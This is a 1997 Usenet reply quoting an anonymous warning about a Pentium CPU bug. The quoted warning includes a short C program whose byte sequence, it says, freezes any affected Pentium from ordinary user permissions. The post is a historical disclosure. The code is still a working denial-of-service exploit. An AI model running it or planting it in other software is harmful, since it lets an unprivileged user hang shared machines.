Subject: Re: WARNING: Serious Pentium Bug
From: [email-masked] (Simon A. Crase)

9 Nov 1997 19:35:12 -0800
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Anonymous wrote:
> 
> There is a SERIOUS bug in all pentium CPUs. The following
> code will crash any machine running on a pentium CPU, MMX or no
> MMX, any speed, regardless of OS (crash as in instant seize, hard
> reboot the only cure):
> 
> char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
> 
> main ()
> {
>        void (*f)() = x;
>        f();
> }
> 
> This require no special permissions to run, it works fine with
> average-joe-userspace permissions. I have verified this, it works.
> Demand a new CPU from Intel.
> 
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